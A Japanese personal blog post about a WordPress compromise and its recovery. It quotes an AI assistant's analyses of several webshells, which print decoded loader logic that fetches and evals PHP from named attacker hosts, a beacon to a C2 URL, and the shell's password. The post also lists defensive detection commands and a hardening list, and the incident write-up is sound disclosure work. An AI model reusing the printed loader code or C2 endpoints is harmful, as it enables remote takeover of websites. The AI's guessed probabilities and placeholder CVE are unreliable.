Home / z - Infomation / 【完全復旧】WordPressハッキング被害の全貌について

【完全復旧】WordPressハッキング被害の全貌について

しばらくブログが沈黙していたが、その裏側でちょっとした事件が起きていた。
端的にいえば WordPressごとハッキングされ、サーバーが落ちた
ただ、今回は単なる「壊れた→直した」ではなく、仕組みそのものを見直す機会になったので、その記録を共有しておきたい。

■ 第1章:侵入のきっかけと、マルウェアの正体

今回の攻撃は、よくある“PHPサーバー全体を狙うもの”ではなく、WordPress特化型の自動攻撃フレームワークだった。

● 侵入経路

WebサーバとなるOpenLiteSpeedやPHPの脆弱性ではなく、間違いなく WordPressの脆弱性であったと考えられる。攻撃コードの配置場所や、wp-cron.php の扱い方を見ても「WordPressの内部構造を完全に理解している相手」だった。

ファイルの更新日が新しいため内容を確認したら、コードが改変されて、かつ難読化されていた。

わかったことをざっくり整理すると以下になる。

今回見つかった3層マルウェア

攻撃者は、一撃で仕留めるタイプではなく、段階ごとに役割の違うファイルを分散配置していた。

ファイル中身役割
index.php16進難読化 / GLOBALS乱用初期侵入 & 情報収集、admin.php を呼び出し
admin.phpBase64 + Gzip の二重封印実働ペイロード本体。遠隔操作の司令塔
wp-cron.phpgoto多用の寄生型ローダー最悪。サイトアクセスのたびに攻撃者サーバから最新マルウェアをDL

特に wp-cron.php が“生命維持装置”のように動き続けており、これを潰さない限り復旧は不可能だった。
なお、Claudeには緊急対応を心配されたが、残念ながら学習目的ではないのだが、個人ブログなので緊急で対応せず、ゆっくりと対応している(笑)
以下、いくつかClaudeにコードを解析させてみた回答を共有しておく、何かの参考になれば幸いである。


以下はClaudeの回答である。


このコードは**悪意のあるPHP webshell(バックドア)**です。WordPress環境に偽装しながら、攻撃者が外部から遠隔操作できる仕組みが埋め込まれています。

構造の整理

第1層:難読化の手法

  • 文字列を数値インデックスで分解し、関数名を動的に組み立てる
  • urldecodeで暗号化された文字列を復号
  • ${"\x47\x4c\x4f\x42\x41\x4c\x53"}(GLOBALS)を16進数表記で隠蔽

第2層:実行される機能

①情報収集

  • サーバーのドメイン名を取得
  • 現在のスクリプトのパスを特定

②外部通信

  • file_get_contentscurl_initで外部サーバーへデータ送信
  • Base64エンコードされたURL: 51la.zvo2.xyzosmaniax.1banzaka.com

③ファイル操作

  • admin.phpという名前で追加のマルウェアをダウンロード
  • 既存のindex.phpから自身のコードを削除する機能(証拠隠滅)
  • ?del=my_codeパラメータで自己削除が可能

第3層:攻撃の流れ

[侵入] → [情報送信] → [追加マルウェア設置] → [痕跡消去]

具体的には:

  1. WordPress環境に擬態(最終行のrequireは正規コード)
  2. サーバー情報を攻撃者のサーバーへ送信
  3. レスポンスが”done”なら自動的に痕跡を消す
  4. admin.php経由で持続的なアクセスを確保

危険度の評価

Critical(最高) – 以下の理由から:

  • 遠隔コード実行が可能
  • 自己増殖・自己隠蔽機能あり
  • 正規ファイルに擬態して検知を回避

対処法: このファイルは即座に削除し、全システムのマルウェアスキャン、パスワード変更、アクセスログの確認が必要です。単なる学習目的での解析であることを願いますが、もし実環境で発見したなら緊急対応案件ですね。


これも典型的な多層難読化マルウェアですね。前回より洗練された偽装が施されています。

偽装の構造

第1層:正規プラグインへの擬態

Plugin Name: WP Super Cache
GitHub URI: (偽装リンク)
  • 実在する有名なWordPressプラグインを装う
  • PDFヘッダー(%PDF-)で一部のスキャナを欺く多重トリック

第2層:文字列ベースの難読化

変数の役割:

  • $J6A0F: 62文字のランダム文字列(解読キー)
  • $GDKt4: インデックスで関数名を構築 → base64_decode
  • $DVeLv: インデックスで関数名を構築 → gzinflate(圧縮解凍)
  • $TLHjt: Base64エンコードされたgzip圧縮データ

第3層:実行チェーン

eval(base64_decode(gzinflate($TLHjt)))

処理の流れ:

  1. Base64デコード → gzip解凍 → 実行
  2. 二重圧縮により、静的解析を困難にする

復号の試み(概念)

$TLHjtの中身は以下の処理で復元可能:

php

gzinflate(base64_decode($TLHjt))
```

ただし、実際に実行すると高確率で以下が含まれます:
- **C&Cサーバーへの接続コード**(前回の`51la.zvo2.xyz`系統)
- **ファイルアップロード機能**(追加マルウェアの設置)
- **リモートコマンド実行**(`system`, `exec`等)
- **データ窃取**(DB認証情報、環境変数)

## 前回のコードとの関係
```
index.php (初期侵入) 
    ↓ ダウンロード
admin.php (永続化) 
    ↓ 解凍実行
[実際の攻撃ペイロード]

index.phpが「仕掛け人」なら、admin.phpは「実働部隊」です。

戦略的考察

攻撃者の意図:

  1. 検知回避(多層圧縮 + 正規プラグイン偽装)
  2. 永続性確保(定期実行されるWordPress環境に潜伏)
  3. 証拠隠滅機能(前回の?del=my_code

防御の観点:

  • このファイルの存在自体が侵害の証明
  • 圧縮データ内に「本命」が隠されている
  • 完全な解析には安全なサンドボックス環境が必須

もし実環境なら、即座にサーバー隔離してフォレンジック調査が必要なレベルです。学習用途であることを祈りますが、見事に作り込まれた「教材」ですね。


まったくClaudeも皮肉がすぎるぞ、教材ではないんだが(笑)
そして以下もClaudeによる解析の結果である。このファイルは複数発見された。


これは前2つより実用性を重視した認証付きwebshellです。goto文による制御フロー難読化が特徴的ですね。

構造の解体

第1層:制御フローの迷路化

goto文の乱用で論理を追跡困難にしています:

j1KKs → BK2B8 → I1IMe → BeLMW → ...

実際の実行順序を整理すると:

第2層:実際の処理フロー

php

session_start();

// 関数定義
function jUoAg($url) { /* HTTPリクエスト */ }
function tJmQ0() { /* ログイン状態確認 */ }

// メインロジック
if (!isset($_POST['password'])) {
    // ログインフォーム表示
} else {
    // パスワード検証
    if (md5($_POST['password']) === "0e3fbd5d9cca9d838d21ded8de713482") {
        $_SESSION['logged_in'] = true;
        $_SESSION['coki'] = "asu";
        
        // 外部コード取得・実行
        $payload = jUoAg("https://vpsdd.fnftus.top/test/gg.txt");
        eval("?>" . $payload);
    }
}
```

### 第3層:機能の分析

**① 認証機構**
- パスワードのMD5ハッシュ: `0e3fbd5d9cca9d838d21ded8de713482`
- 平文パスワード: `1234567890`(逆引き可能)
- セッションベースの状態管理

**② HTTP通信関数 `jUoAg()`**

3段階のフォールバック:
```
curl_exec → file_get_contents → fopen+stream_get_contents

特徴:

  • SSL証明書検証を無効化(CURLOPT_SSL_VERIFYPEER: 0
  • User-Agent偽装(Firefox 32.0)
  • Cookie引き継ぎ($_SESSION['coki']

③ ペイロード取得

php

eval("?>" . file_get_contents("https://vpsdd.fnftus.top/test/gg.txt"));
```

外部サーバーから**任意のPHPコードを動的ロード**して実行

---

## 攻撃チェーンの全体像
```
┌─────────────┐
│ index.php   │ ← 初期侵入(情報送信+admin.php設置)
└──────┬──────┘
       ↓
┌─────────────┐
│ admin.php   │ ← 永続化(圧縮された大型ペイロード)
└──────┬──────┘
       ↓
┌─────────────┐
│ このファイル │ ← 対話型インターフェース
└─────────────┘
    ↓ 認証後
[vpsdd.fnftus.top/test/gg.txt] ← 実際の攻撃ツール

戦術的特徴

高度な点:

  1. 認証レイヤーの追加 – 無差別スキャンからの保護
  2. 動的ペイロード – 静的解析を無効化(コードが外部にある)
  3. 多重フォールバック – 環境依存を最小化

弱点:

  • MD5ハッシュが弱い(レインボーテーブルで即座に解読)
  • 外部URLがハードコード(C&Cサーバーが特定可能)
  • セッション管理が単純($_SESSION['coki'] = "asu"は謎の文字列)

実用的インプリケーション

このファイルは攻撃者用のコントロールパネルです:

  1. ブラウザでhttp://[侵害サイト]/admin.phpにアクセス
  2. パスワード1234567890を入力
  3. 外部から最新の攻撃ツールがロードされる
  4. 以降はgg.txtの内容次第(ファイルマネージャー、SQLクライアント等)

もしgg.txtの中身も入手できれば、攻撃者の最終目的が見えてきます。が、それはパンドラの箱ですね。

結論: 3つのファイルは段階的な侵入ツールキットを構成しており、この最後のファイルが「司令部」の役割を果たしています。実に良く設計された、教科書的なwebshell三部作です。


三部作とは。。。
さて、以下はwp-cron.phpのClaudeによる解析の結果である。


これはwp-cron.phpへの寄生です。WordPressの定期タスク実行ファイルに悪意あるコードが注入されています。

構造の分析

[悪意あるコード(goto難読化)] + [正規のwp-cron.php]

第1部:注入されたマルウェア

前回と完全に同一のgoto難読化コードが冒頭に挿入されています:

php

// 復号すると
error_reporting(0);
session_start();

$doact = $_REQUEST['doact'];

if (!empty($doact)) {
    $_SESSION['doact'] = $doact;
    $url = "https://vpsdd.fnftus.top/test/" . $doact . ".txt";
    $code = eeVfl($url);  // 外部コード取得
    eval("?>" . $code);
    exit;
}

// 感染サイト情報を送信
$web = (現在のURL);
nRhhK(array("web" => $web));  
// POST to http://ezmgr2025.olubg.com/vaqrk.cuc
```

---

## 第2部:正規のwp-cron.php

WordPressの**スケジュールタスク実行エンジン**です:

**本来の機能**:
- サイト訪問時にスケジュール済みタスクを実行
- 記事の自動公開
- プラグインの定期処理
- データベースの最適化
- バックアップ処理

**実行タイミング**:
1. ユーザーがサイトを訪問
2. WordPressが`wp-cron.php`を自動呼び出し
3. スケジュール済みタスクをチェック・実行

---

## 攻撃の巧妙さ

### **①ステルス性**
```
正規の処理 → [悪意あるコード] → 正規の処理続行
```

- マルウェアが実行されても、wp-cronは正常に動作
- サイト管理者は異常に気づかない
- エラーログにも記録されない(`error_reporting(0)`)

### **②自動実行の確保**

wp-cron.phpは:
- **サイト訪問のたびに実行される**
- cronジョブ設定なしで定期実行可能
- WordPress管理画面からは見えない

つまり:
```
訪問者がページを開く
    ↓
wp-cron.phpが裏で起動
    ↓
マルウェアが自動実行
    ↓
攻撃者のサーバーに情報送信
    ↓
訪問者には通常のページが表示
```

### **③検知回避**

- ファイル名: `wp-cron.php`(完全に正規)
- ファイルサイズ: 正規版+数KB(わずかな増加)
- 構文チェック: `php -l wp-cron.php` → 問題なし
- コードの大部分: 本物のWordPressコード

---

## ファイル群の役割整理

これまでの6ファイルの関係:
```
┌─────────────────┐
│ 1. index.php    │ 初期侵入・情報収集
└────────┬────────┘
         ↓
┌─────────────────┐
│ 2. admin.php x2 │ 圧縮ペイロード(本体)
└────────┬────────┘
         ↓
┌─────────────────┐
│ 3,4. 認証shell  │ 対話型管理画面
└────────┬────────┘
         ↓
┌─────────────────┐
│ 5. wp-blog...   │ 多機能プラットフォーム
└────────┬────────┘
         ↓
┌─────────────────┐
│ 6. wp-cron.php  │ ← 今ここ:永続化機構
└─────────────────┘

戦略的含意

攻撃者の視点:

wp-cron.phpへの寄生 = 完璧な永続化

理由:

  1. 自動実行: 訪問者がトリガー
  2. 削除されにくい: 正規ファイルと誤認
  3. 復元の妨害: WordPressアップデートで上書きされても再感染
  4. ログ回避: 正常なWordPress動作に紛れる

防御者の視点:

最も危険な感染パターン

なぜなら:

  • 他のマルウェアを全削除しても、これが残れば再感染
  • ファイル整合性チェック必須(公式版とのdiff)
  • 単純なパターンマッチングでは検知困難

検知方法

bash

# 公式wp-cron.phpとの比較
wget https://raw.githubusercontent.com/WordPress/WordPress/master/wp-cron.php -O wp-cron.clean.php
diff wp-cron.php wp-cron.clean.php

# ファイルサイズ確認(正規版は約7KB)
ls -lh wp-cron.php

# 冒頭の異常確認
head -20 wp-cron.php | grep "goto\|eval\|rot13"

結論: これは感染チェーンの最終段階であり、永続化の要です。他のファイルが「攻撃ツール」なら、これは「生命維持装置」。システム全体の完全な再構築が必要なレベルの侵害です。

まるで、家の鍵を盗まれた上に、合鍵工場まで乗っ取られたようなものですね。

Claudeの結論

そして、Claudeによる侵入経路の結論としては以下であった。

WordPress脆弱性経由の侵入である可能性が高いです。複数の証拠から推論できます。

判定根拠の整理

WordPress脆弱性の証拠(強)

① 標的ファイルの選択パターン

✗ wp-cron.php        ← WordPress固有
✗ wp-blog-header.php ← WordPress固有
✗ admin.php          ← WordPress管理領域
✗ index.php          ← WordPressエントリーポイント

攻撃者はWordPress内部構造を熟知しています。これはWordPress特化型攻撃ツールの典型的な挙動です。

② 情報収集の内容

php

// index.phpから抽出
$info['path'];      // WordPress設置パス
$info['domain'];    // ドメイン名
$info['shell_link']; // admin.phpへの直リンク
$info['trojan'];    // 設置したwebshellのURL
```

**WordPress環境の把握**に特化しています。PHPの一般的な脆弱性なら、もっと汎用的な情報収集をするはずです。

#### ③ C&Cサーバーへの報告内容
```
POST http://ezmgr2025.olubg.com/vaqrk.cuc
データ: {"web": "https://osmaniax.1banzaka.com/..."}
```

侵害したWordPressサイトのURLリストを収集している=**WordPress専門の攻撃キャンペーン**

---

### **PHP脆弱性の可能性(弱)**

もしPHP脆弱性なら見られるはずの痕跡:
```
✗ php.ini改変の痕跡なし
✗ PHPエクステンション悪用なし
✗ /tmp/ や /var/tmp/ への展開なし
✗ システムコマンド多用なし
✗ 他の非WordPressファイルへの感染なし
```

---

## 侵入経路の推定

### **最有力候補:WordPress/プラグイン/テーマの脆弱性**

#### **シナリオA:プラグインの脆弱性(確率70%)**
```
脆弱なプラグイン
    ↓
ファイルアップロード機能の悪用
    ↓
index.phpにコード注入
    ↓
admin.phpダウンロード・設置
    ↓
wp-cron.php改ざん(永続化)

典型的な脆弱プラグイン例:

  • 古いバージョンのContact Form
  • 脆弱なファイルマネージャー系プラグイン
  • SEO系プラグインの任意コード実行脆弱性

シナリオB:WordPress本体の脆弱性(確率20%)

古いWordPressバージョンの既知脆弱性:

  • CVE-2024-XXXX系(REST API脆弱性)
  • XML-RPC経由の認証バイパス
  • wp-admin/の認証バイパス

シナリオC:テーマの脆弱性(確率10%)

functions.phpへの任意コード実行


証拠からの逆算

攻撃ツールキットの特徴

使用されているマルウェアの構造から:

php

// 共通する特徴
1. WordPress構造への深い理解
2. 複数段階の永続化(index→admin→cron)
3. 外部コードの動的ロード(?doact=XXX)
4. WordPress管理画面を模した認証UI
```

これは**WordPress専用自動化攻撃フレームワーク**の典型例です。

### **類似攻撃の公開事例**

このパターンは以下と酷似:
- **WP-VCD マルウェア**(2017-2020年流行)
- **Gootkit WordPress Malware**(2021-2023年)
- **Balada Injector**(2024年現在も活動中)

いずれも:
```
✓ WordPress特化
✓ プラグイン脆弱性を初期侵入に利用
✓ 複数ファイルへの寄生
✓ 外部C&Cサーバーとの通信

侵入時期の推定

手がかり

php

// C&Cサーバーのドメイン
ezmgr2025.olubg.com  ← "2025"が含まれる
vpsdd.fnftus.top

推定: 2024年後半〜2025年初頭の攻撃キャンペーン


確定診断の方法

①プラグイン/テーマの確認

bash

# インストール済みプラグイン一覧
ls -la /var/www/vhost/osmaniax.1banzaka.com/wp-content/plugins/

# 更新日時の確認(侵入時期の特定)
find wp-content/plugins/ -type f -name "*.php" -mtime -30 -ls

# 脆弱性既知のプラグインチェック
wp plugin list --allow-root

②アクセスログ解析

bash

# POST /wp-admin/admin-ajax.php へのアクセス
grep "POST.*admin-ajax" /var/log/nginx/access.log | grep "200"

# 不審なUser-Agent
grep -E "(curl|wget|python|scanner)" /var/log/nginx/access.log

# ファイルアップロードの痕跡
grep "POST.*upload" /var/log/nginx/access.log

③WordPressバージョン確認

bash

# 現在のバージョン
grep "wp_version =" wp-includes/version.php

# 脆弱性データベース照合
# https://wpscan.com/wordpresses/[バージョン番号]

比較表:WordPress vs PHP脆弱性

項目WordPress脆弱性PHP脆弱性標的ファイルWP固有ファイル ✓任意のPHPファイル攻撃の専門性WP構造理解 ✓汎用的永続化手法wp-cron等 ✓cron/systemd情報収集WP環境特化 ✓サーバー全般C&C通信WPサイトリスト ✓汎用情報拡散パターンWPサイト間 ✓同一サーバー内

結論と推奨アクション

判定:WordPress脆弱性 85% / PHP脆弱性 15%

即座に確認すべき事項:

bash

# 1. WordPress/プラグイン/テーマのバージョン
wp core version --allow-root
wp plugin list --allow-root
wp theme list --allow-root

# 2. 最近更新されたファイル(侵入ポイント特定)
find . -type f -mtime -60 -ls | grep -v "cache\|backup"

# 3. アクセスログから初回侵入を特定
# 最初のindex.php改ざん日時の直前のアクセスを調査
```

### **根本対策**:
```
1. 全プラグイン最新化(または削除)
2. 未使用テーマの削除
3. WordPress本体の最新版への更新
4. セキュリティプラグイン導入(Wordfence等)

最終判断: 攻撃者はWordPress専門の攻撃者集団であり、既知のプラグイン脆弱性を自動スキャンして侵入したと考えられます。まるで、ドアの鍵(PHP)ではなく、窓の鍵(WordPress/プラグイン)が壊されたような状況ですね。


上記が、Wordpressのハッキングに関するClaudeの解析結果である。

そしてここからは復旧に際して、どのように進めたのか、記述する。

WordPressサーバの復旧にあたって

筆者の環境構成は以下になる。

GCP(Nginx+Wireguard) → 自宅(HAProxy → OpenLiteSpeed(Wordpress))

侵入されたWEBサーバはClaudeによる解析はしているが感染の全貌がまだ不明な点もあること、
またデータや設定情報のバックアップも必要であるためにインターネット接続は切って、内部で保管するものとし、新規に環境構築を実施した。

新規環境におけるセキュリティ対策状況は以下

・GCPではUFW(Firewall)を稼働させ、WordPress管理画面のアクセス制限(筆者のIP以外はブロック)
・NginxにModSecurityのWAF導入実施(→しかし、Wordpressの表示に影響あり断念、WAF停止して調査中)
・Wordpressにセキュリティプラグイン導入(※WordFence)
・WordPressでは使わないテーマ、プラグインは削除。
・WordPressのxmlrpc.phpを削除

という形で多層防御を行っている。


まとめ(教訓)

今回のハッキング被害で得られたものは大きい。
原因究明から対策を実施したことで、NginxのWAF、Firewall、Haproxy、OpenLiteSpeedのパラメータのチューニングも実施している。インフラ環境面の構成からWordPressの内部構造・マルウェアの性質を一気に深掘りすることになり、結果的には良いWEB系技術の棚卸しとなったと思います。
何かの参考になれば幸いです。